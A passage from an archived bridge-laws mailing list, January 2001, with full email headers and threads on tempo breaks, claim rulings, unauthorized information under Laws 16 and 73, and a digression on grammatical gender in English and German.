(8.10.2/8.10.2) with ESMTP id f0D7iNt28468 for ; Sat, 13 Jan 2001 18:44:23 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 12 Jan 2001 23:41:14 -0800 Message-ID: <042401c07d34$98868ce0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101021604.LAA17526@cfa183.harvard.edu> <3.0.2.32.20010113011255.01120c08@mail.chello.nl> Subject: Re: [BLML] Annoyingly irregular Date: Fri, 12 Jan 2001 23:38:41 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Anton Witzen wrote: > Marvin L. French wrote: > >You would need a lot of TDs if one is to be called every time > >there is a break in tempo. > > > why??? > the td just asks if the break in tempo is agreed (if necessary does some > enquiry), then summonds bidding and playing to go on and asks/orders to be > called again if there is something fishy about the 5h bid. takes about 15 > seconds. > so i dont see the problem No problem, for small games. In our big games over here (e.g., an NABC) it takes 15 seconds just to get a TD's attention. Maybe you don't see as many breaks in tempo as we do. Remember that a call made with undue haste is just as much a break in tempo as a slow call. Marv San Diego, CA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 19:29:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D8SxX28519 for bridge-laws-outgoing; Sat, 13 Jan 2001 19:28:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D8Sqt28515 for ; Sat, 13 Jan 2001 19:28:53 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id XAA24329; Fri, 12 Jan 2001 23:43:00 -0900 Date: Fri, 12 Jan 2001 23:29:02 -0900 (AKST) From: Gordon Bower To: "Marvin L. French" cc: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Bad Language In-Reply-To: <036c01c07d2d$8b1ce1a0$56991e18@san.rr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Fri, 12 Jan 2001, Marvin L. French wrote: > > their constructs of choice are winning the race. > > > > >But to collapse the plural into the > > >singular only degrades the expressiveness and clarity of > communication in > > >English...for all women (and others who think). > > > > I wouldn't consider English a good model for clarity. > > I dunno. There are plenty of words in English which are already > both > > singular and plural in use and we seem to do just fine, e.g. sheep, > fish. > > Others that when unqualified are non-descript amounts and rarely > inflected, > > e.g. sand ('sands of time' being the only exception I know of), water. > And > > some that are only inflected when counted out, e.g. hair (headful of > hair > > vs. 3 hairs). The singular and plural forms of words are sometimes > one in > > the same. I find these also to be deficiencies in clarity, but our collective laziness is such that no-one seems to be trying hard to repair the situation. > And of course we have "you," singular and plural. > > > Also, rather than making the formal/informal distinction between > the > > 2nd and 3rd persons like Spanish and French do, Finnish and Russian > use the > > 2nd person plural as the polite address for one person. It's not > unheard of > > to use a plural construct to refer to one person. > > > German uses "sie" for "she," "you" (polite, singular and plural), "it," > and "they." Let us not forget that most of these other languages have declensions of their verbs and adjectives. In the case of German, formal-"you" and "they" are in fact identical in speech (you can't hear the capital letter) but sie-meaning-she is never ambiguous and sie-meaning-her only very rarely so. A question we ought to be asking, but haven't, is how other languages address the perceived-sex-bias question. In a language like German where it is already accepted that sex and gender will not always coincide (thinking that skirts and bras are masculine and girls are neuter is just good grammer, not kinky taste), do people complain noisily about the fact that a person of unspecified sex is almost always named by a masculine noun? (And there is no easy fix, either. Put in one "er/sie" and you trigger a cascade of "seine/ihre"s elsewhere in the sentence. Make the unspecified-sex nouns neuter, and you'll find that "his" and "its" are the same word again.) I remember reading an article by Douglas Hofstadter concerning the word "Doktorvaterin" on how he perceived German gender (which substantially damaged my opinion of Hofstadter, actually) but never seen anything else on the matter. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 19:35:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D8ZVU28535 for bridge-laws-outgoing; Sat, 13 Jan 2001 19:35:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.ihug.co.nz (root@smtp2.ihug.co.nz [203.109.252.8]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D8ZQt28531 for ; Sat, 13 Jan 2001 19:35:27 +1100 (EST) Received: from julie (p457-apx1.akl.ihug.co.nz [203.173.193.203]) by smtp2.ihug.co.nz (8.9.3/8.9.3/Debian 8.9.3-21) with SMTP id VAA15520 for ; Sat, 13 Jan 2001 21:35:25 +1300 X-Authentication-Warning: smtp2.ihug.co.nz: Host p457-apx1.akl.ihug.co.nz [203.173.193.203] claimed to be julie Message-ID: <000a01c07d3b$58a49f20$cbc1adcb@ihug.co.nz> From: "Julie Atkinson" To: References: <200101021604.LAA17526@cfa183.harvard.edu> <3.0.2.32.20010113011255.01120c08@mail.chello.nl> <042401c07d34$98868ce0$56991e18@san.rr.com> Subject: Re: [BLML] Annoyingly irregular Date: Sat, 13 Jan 2001 21:32:19 +1300 Organization: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Why can't you just agree "change of tempo" at table and if there is any dispute then call the director? At present in NZ this is all that is required during the auction up until the opening lead is made. Most breaks in tempo are agreed and any dispute is advised to the director before any possible damage is known. I am curious why the Director need be called if the facts are agreed. Julie : > > > >You would need a lot of TDs if one is to be called every time > > >there is a break in tempo. > > > > > why??? > > the td just asks if the break in tempo is agreed (if necessary does > some > > enquiry), then summonds bidding and playing to go on and asks/orders > to be > > called again if there is something fishy about the 5h bid. takes about > 15 > > seconds. > > so i dont see the problem > > No problem, for small games. In our big games over here (e.g., an NABC) > it takes 15 seconds just to get a TD's attention. Maybe you don't see as > many breaks in tempo as we do. Remember that a call made with undue > haste is just as much a break in tempo as a slow call. > > Marv > San Diego, CA > > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 20:27:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D9Q2q28582 for bridge-laws-outgoing; Sat, 13 Jan 2001 20:26:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from plutonium.uunet.be (plutonium.uunet.be [194.7.1.47]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D9Ptt28578 for ; Sat, 13 Jan 2001 20:25:56 +1100 (EST) Received: from village.uunet.be (uu212-190-1-215.unknown.uunet.be [212.190.1.215]) by plutonium.uunet.be (8.9.1/8.9.1) with ESMTP id KAA23105 for ; Sat, 13 Jan 2001 10:25:44 +0100 (CET) Message-ID: <3A5F1ADF.C8F5AE16@village.uunet.be> Date: Fri, 12 Jan 2001 15:55:27 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Concession References: <67378DEA146DD21194C20000F87B08BA01B8B76C@fdwag002s.fd.agro.nl> <004501c07ca3$21f08c20$cb7254d8@kay> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hello Nelson, I believ this is your first message ? Don't heistate to throw something in, and don't hesitate creating a new threa for it ! Nelson/Kay Ford wrote: > > I wanted to ask the following question anyway, and since it is > related to this one, I'll pose it now: > > With a half-dozen or so cards left, Declarer (a fine player) claims > by showing his hand and making no Clarification Statement. His hand > contains two trumps (Spades), two Hearts (including the top one), and > a couple of winners in other suits. > > Dummy contains 1 trump, 1 Heart, and losers in other suits. > > Declarer's LHO contests and asks that Declarer lead a trump. > This does not allow Declarer to ruff his losing Heart. > > LHO contends that it is within the realm of possibility that Declarer > could have made a mistake counting trump and/or thought his last > Heart would be good and therefore might have led his trump first, > and that such a play would have been, in the terms of the footnote > to L70, "a play that would be careless or inferior for the class of > player involved, but not irrational." > > What should the ruling be, and where should a director draw the line > between "careless or inferior" and "irrational" for a very good player? > > If this is considered "irrational" for a very good player, how about > for the poor-to-average player who sometimes makes an unnecessary > trump lead just to be sure he got them all? (Although such players > rarely claim with 6 cards out.) > This all really depends. The way I see it, the player claimed, intending to ruff one last heart. If that is true, then it is irrational to play a high trump first, whether or not there are any out there. So all the TD has to be convinced of is whether the player intended to ruff the heart, or whether he thought both hearts were high. If the player can convince the TD that he did indeed know the second heart was not high, then the claim stands. If the TD believes OTOH that it is possible that declarer thought both hearts were high, then playing trumps first is a logical line and the claim should not be accorded. I do not believe irrational has anything to do with it. It is just whether or not the player knew the position. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 04:40:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0DHcm410769 for bridge-laws-outgoing; Sun, 14 Jan 2001 04:38:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from phnxpop3.phnx.uswest.net (phnxpop3.phnx.uswest.net [206.80.192.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0DHcet10724 for ; Sun, 14 Jan 2001 04:38:41 +1100 (EST) Received: (qmail 18331 invoked by uid 0); 13 Jan 2001 17:38:30 -0000 Received: from vdsl-130-13-82-164.phnx.uswest.net (HELO uswest.net) (130.13.82.164) by phnxpop3.phnx.uswest.net with SMTP; 13 Jan 2001 17:38:30 -0000 Date: Sat, 13 Jan 2001 10:38:53 -0700 Message-ID: <3A6092AD.72475C02@uswest.net> From: "Peter Clinch" To: "Nancy" Cc: "Bridge Laws" X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 Subject: Re: [BLML] earth References: <003101c07ac1$bd6714a0$6961040c@mom> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I am especially impressed that the UK appears to be in its rightful place, in the centre. Nancy wrote: > Perhaps this is not the place for this, but I think it is. This is an > awesome picture of all of us on bridge night. Enjoy!!!! Nancy Worth > sharing --- > > > > > > Take a look at this picture -- pretty impressive! > > > > ******************************************** > > This is a link to an incredible evening picture (images captured and > > > merged together of evening lights) of the whole earth from the > Boeing > > built Space Station. Be sure to scroll to the right, as well as > down, to > > > > view the entire picture! > > > > http://antwrp.gsfc.nasa.gov/apod/image/0011/earthlights_dmsp_big.jpg > > > > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 05:45:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0DIiVG28258 for bridge-laws-outgoing; Sun, 14 Jan 2001 05:44:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0DIiKt28247 for ; Sun, 14 Jan 2001 05:44:20 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-33.mail.demon.net with smtp (Exim 2.12 #1) id 14HVev-000KJz-0X for bridge-laws@rgb.anu.edu.au; Sat, 13 Jan 2001 18:44:16 +0000 Message-ID: <10p3fXB5a3X6EwcO@blakjak.demon.co.uk> Date: Fri, 12 Jan 2001 21:27:21 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] What is suggested ? References: <3A543E08.9F143DF2@village.uunet.be> <002f01c0768d$e83f4220$56991e18@san.rr.com> In-Reply-To: <002f01c0768d$e83f4220$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >If an illogical action is deliberately taken because of partner's >hesitation, I think that should be treated as an infraction. If L16 >doesn't say so, it should. It does not need to. It is an infraction of L73C. There is a long-standing idea, suggested here frequently, that UI should be dealt with under one Law and in one place, not under two Laws. Whether or not this is desirable, I do not comment, but if the law- makers do so, they must put all the bits together, not just get rid of one or the other. ---------- Herman De Wael writes >Suppose that you believe that the double asks for spades. I >know, it's not. Suppose that in the second case you do the >"ethical" thing and lead non-spades, and find the correct >lead. > >Is ignorance an excuse ? >If a player does not know what is suggested, can he be held >subject to L16 ? According to L16, certain actions become illegal. Thus an adjustment is reasonable if such an action is taken whether the player knew they were illegal or not. According to L73C, a player must avoid taking advantage. This Law is only breached when a player knows his action is taking advantage. If you issue a PP for gross use of UI I believe the infraction is failure to follow L73C. ---------- Marvin L. French writes >In my view L16A is telling you what you can do after receiving UI from >partner, and making an illogical call is not one of the options given. "What >is not authorized is not permitted." > >Let's say you do something weird, like passing with a big hand to punish >partner for a gross break in tempo, something s/he has been doing too often. >This throws an oddball score into the works for no good bridge reason. >Knockout match, maybe okay. Otherwise no. If the stupidity works to your >advantage (e.g., 7NT doesn't make after all, due to very bad breaks), >opponents should get redress. L16A does not tell the player what to bid, so the above is incorrect. It merely tells the player that certain actions are going to be ruled back. I am not sure there is any reason to rule it back in the above situation, but if the TD does it is nothing to do with UI, and nothing to do with L16 or L73C. Of course, you could rule it illegal in the ACBL under their regulation that you have to play each board to win: the player did not attempt to do so, despite the result. ---------- Marvin L. French writes Someone wrote: >> You are not trying to lose the match ; you >> are trying to salvage your reputation ; this could hardly be a >sin. >No, not a sin, very commendable. But if it causes damage to the >other side, be willing to pay for it. > >A Good Samaritan can be sued successfully if his actions were >illegal and resulted in damage instead of the desired result. Very true, but not very relevant. You have to show the action is illegal, and an illogical action is not illegal under L16A. ---------- Ed Reppert writes > >> you keep your score _provided_ the action you chose was made >>_less_ attractive by the UI than it would have been otherwise. > >Is that really right? Or is it "was not made _more_ attractive"? > >If it is right, _why_ is it right? :-) Because the Law says so? If you use L16A, and assume an action taken is an LA, or using my interpretation "choosing amongst LAs" does not mean that the action chosen has to be an LA, you still have another test: the action raken has to be suggested over another: so if they are equally suggested, then the chosen action is not suggested over another. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 05:45:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0DIiQM28257 for bridge-laws-outgoing; Sun, 14 Jan 2001 05:44:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0DIiHt28245 for ; Sun, 14 Jan 2001 05:44:18 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-33.mail.demon.net with smtp (Exim 2.12 #1) id 14HVet-000KJy-0X for bridge-laws@rgb.anu.edu.au; Sat, 13 Jan 2001 18:44:14 +0000 Message-ID: <0E+3jSBma3X6EwfF@blakjak.demon.co.uk> Date: Fri, 12 Jan 2001 21:27:02 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] What is suggested ? References: <67378DEA146DD21194C20000F87B08BA01B8B762@fdwag002s.fd.agro.nl> In-Reply-To: <67378DEA146DD21194C20000F87B08BA01B8B762@fdwag002s.fd.agro.nl> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Kooijman, A. writes >> Nor does it say that it may not. If the lawmakers did not intend to >> permit an illogical action to be taken, they would not have used the >> word "logical"; they would simply have written "...may not >> choose from >> among alternative actions..." >Which gives us a good question to ask the lawmakers: why did they (Kooijman >and others) use the word 'logical' here (in 16A heading)? Perhaps the idea of suggesting an illogical action did not occur to them. > Which could be >rephrased: why do we not prohibit any action that could have been suggested >by the extraneous information? Rephrased again: Is it possible to suggest >illogical actions by giving unauthorized information? The Law does not talk of suggesting actions, but of comparing them. In the very long thread of a year or so back there was an auction like 1S ..2S 6S Opener had a very dubious game try, so 3S [or some other try] was suggested over Pass by the UI [yes, ok, a slow 2S does not necessarily show extra values: assume it does this time for the sake of the argument]. Now opener knows that if he makes a try for game, or bids 4S, it will be ruled back. He also believes that 4S is the correct place to play. What should he call? Suppose he decides his expectation in matchpoints is: Slam 7% Game 87% P/score 6% 6S is not an LA, because who goes for a 7% score? But it is suggested over pass, and bidding it is a breach of L73C, because it takes advantage of the UI. With no UI, opener would probably have decided the expectation was more like: Slam 1% Game 33% P/score 66% >May I point to 16A2 where it says: an action that could have been suggested >when there was a logical alternative. Here the word logical makes sense to >me. I see no reason to complicate life. We do not want players taking advantage of partner's UI: L73C forbids this: L16A forbids this for logical actions: some of us believe L16A forbids this for illogical actions. Why do we not just accept that we rule back illogical actions as well when they are suggested by the UI and when there is damage to the NOs? >Hopefully Kooijman (or others) have the answer for this. There's my answer! -------- David J Grabiner writes >On Mon, 08 Jan 2001, Adam Beneschan wrote: >> FWIW, I doubt that L73C was written to cover "loopholes" in L16A, as >> you seem to imply. In fact, although I don't have the 1975 laws >> handy, my recollection is that L73 was not a Law until 1987, and prior >> to that it was part of the "Proprieties", a list which informed the >> players of what was expected of them ethically but didn't really have >> the force of Law, and didn't have Law numbers. >What was done back then with cases that now require L73C? For >example, on the typical hesitation Blackwood auction, >1S-3S-4NT-5D-..5S, 6S is usually not a LA. The wording of L16 thus >does not allow an adjustment for the 6S bid, but I assume everyone >would still adjust. Under what law? You could use the "spirit" of >L16, I suppose. Several of us [including me] do believe that L16A covers this case anyway. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 05:45:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0DIiVm28259 for bridge-laws-outgoing; Sun, 14 Jan 2001 05:44:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0DIiFt28243 for ; Sun, 14 Jan 2001 05:44:16 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-33.mail.demon.net with smtp (Exim 2.12 #1) id 14HVeg-000KK2-0X for bridge-laws@rgb.anu.edu.au; Sat, 13 Jan 2001 18:44:07 +0000 Message-ID: Date: Fri, 12 Jan 2001 21:26:36 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] References: <3.0.6.32.20010109103924.008124e0@pop.ulb.ac.be> <200101082201.OAA31270@mailhub.irvine.com> <3.0.6.32.20010109103924.008124e0@pop.ulb.ac.be> <3.0.6.32.20010109184646.00813800@pop.ulb.ac.be> In-Reply-To: <3.0.6.32.20010109184646.00813800@pop.ulb.ac.be> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk alain gottcheiner writes >AG : Law 9B1b says that any player may call, that is, either the culprit, >his partner, or the opponents. >Law 9B1a, to which I refer, requires that the TD be called when an >irregularity has occured and has been noticed. No, I am afraid not. It only requires the TD to be called when attention has been drawn. It is not illegal for a player on seeing his opponents revoke to play on and draw attention to it later. ----------- Gordon Bower writes >The implication, I think, is that the lawmakers didn't want to come right >out and stay "here's what to do to stop a cheat." I agree that stopping >cheats is the business of CD&E committtees and the regulations of SOs, >rather than the laws. Stopping cheats may be, though I have my doubts: but surely the Laws should be used to define cheating! I too am having difficulty proving that a Law has been broken when a player deliberately looks at hand records in advance. I am sure the Laws should make it illegal. ----------- Gordon Bower writes >The reason I pointed out 90B8 was to indicate that the presence of a SO >regulation (about hand record handling and/or about how to deal with a >cheat) is adequate to let the director take action, and I strongly suspect >all SOs of any significance have a rule against cheating. That is, I don't >think adding this to the laws will have any impact. (You could specify a >set penalty for cheating, maybe, but once you are removed from the game >the "sentencing aspect" seems better left to a disciplinary hearing than >to a director's ruling.) A penalty for cheating is unnecessary: the TD will have the tools to deal with it. The importance is a Law to make it a breach of that Law. ----------- Marvin L. French writes >Besides, how can seeing an opponent's card(s) be "inadvertent"? We >are not supposed to be looking in the direction of those cards, are >we? At the very least, L75C5 should state that players are expected >to avoid such "inadvertencies" by keeping their eyes on their own >hands or on the table. It is very easy to see someone else's cards inadvertently when they are sloppy or foolish. Even if you are not looking in that direction they can make it east to see a card, and the law-makers are right to cover this situation. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 06:19:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0DJIwg28325 for bridge-laws-outgoing; Sun, 14 Jan 2001 06:18:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0DJIrt28319 for ; Sun, 14 Jan 2001 06:18:53 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sat, 13 Jan 2001 11:18:09 -0800 Message-ID: <000e01c07d95$9da4db80$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Bad Language Date: Sat, 13 Jan 2001 11:17:21 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Gordon Bower wrote: > > A question we ought to be asking, but haven't, is how other languages > address the perceived-sex-bias question. In a language like German where > it is already accepted that sex and gender will not always coincide > (thinking that skirts and bras are masculine and girls are neuter is just > good grammer, not kinky taste), do people complain noisily about the fact > that a person of unspecified sex is almost always named by a masculine > noun? (And there is no easy fix, either. Put in one "er/sie" and you > trigger a cascade of "seine/ihre"s elsewhere in the sentence. Make the > unspecified-sex nouns neuter, and you'll find that "his" and "its" are the > same word again.) Those speaking languages that have gender for every noun do not regard gender as nearly synonymous with sex, as most Americans do. The word for tree (arbre) is masculine gender in French, but I doubt that the French think of a tree as being of male sex. However, in our near-genderless language, bits of gender remaining do suggest sex rather than gender to us. For instance, "ship" might be considered of feminine gender, since "she" is the usual pronoun used for one. To us that indicates that a ship is considered female, while the French probably do not think of "fleur" (flower, feminine gender) as being female. Alain? > > I remember reading an article by Douglas Hofstadter concerning the word > "Doktorvaterin" on how he perceived German gender (which substantially > damaged my opinion of Hofstadter, actually) but never seen anything else > on the matter. > As most German job titles have a male and a female form (the latter usually with "in" suffix), advertisers are using rather unorthodox methods to be politically correct in their use of language. Want ads will use such spellings as AssistentIn, Assistent/in, or Assistent(in) to signify that male and female applicants are equally welcome. This seems to indicate a general reluctance to use a male form for both sexes. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 06:29:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0DJT4u28348 for bridge-laws-outgoing; Sun, 14 Jan 2001 06:29:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0DJSut28340 for ; Sun, 14 Jan 2001 06:28:56 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sat, 13 Jan 2001 11:28:12 -0800 Message-ID: <002b01c07d97$051d16a0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101021604.LAA17526@cfa183.harvard.edu> <3.0.2.32.20010113011255.01120c08@mail.chello.nl> <042401c07d34$98868ce0$56991e18@san.rr.com> <000a01c07d3b$58a49f20$cbc1adcb@ihug.co.nz> Subject: Re: [BLML] Annoyingly irregular Date: Sat, 13 Jan 2001 11:20:48 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Julie Atkinson wrote: > > Why can't you just agree "change of tempo" at table and if there is any > dispute then call the director? > > At present in NZ this is all that is required during the auction up until > the opening lead is made. Most breaks in tempo are agreed and any dispute is > advised to the director before any possible damage is known. > > I am curious why the Director need be called if the facts are agreed. > Julie > I am curious why the Director need be called when the opening lead is made. Nothing will be done until play is complete, whereupon it will often (usually?) be obvious to both sides that there has been no damaging infraction. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 14 06:29:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0DJT5o28349 for bridge-laws-outgoing; Sun, 14 Jan 2001 06:29:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0DJSvt28341 for ; Sun, 14 Jan 2001 06:28:58 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sat, 13 Jan 2001 11:28:13 -0800 Message-ID: <002c01c07d97$059a35e0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Bad Language Date: Sat, 13 Jan 2001 11:26:18 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: 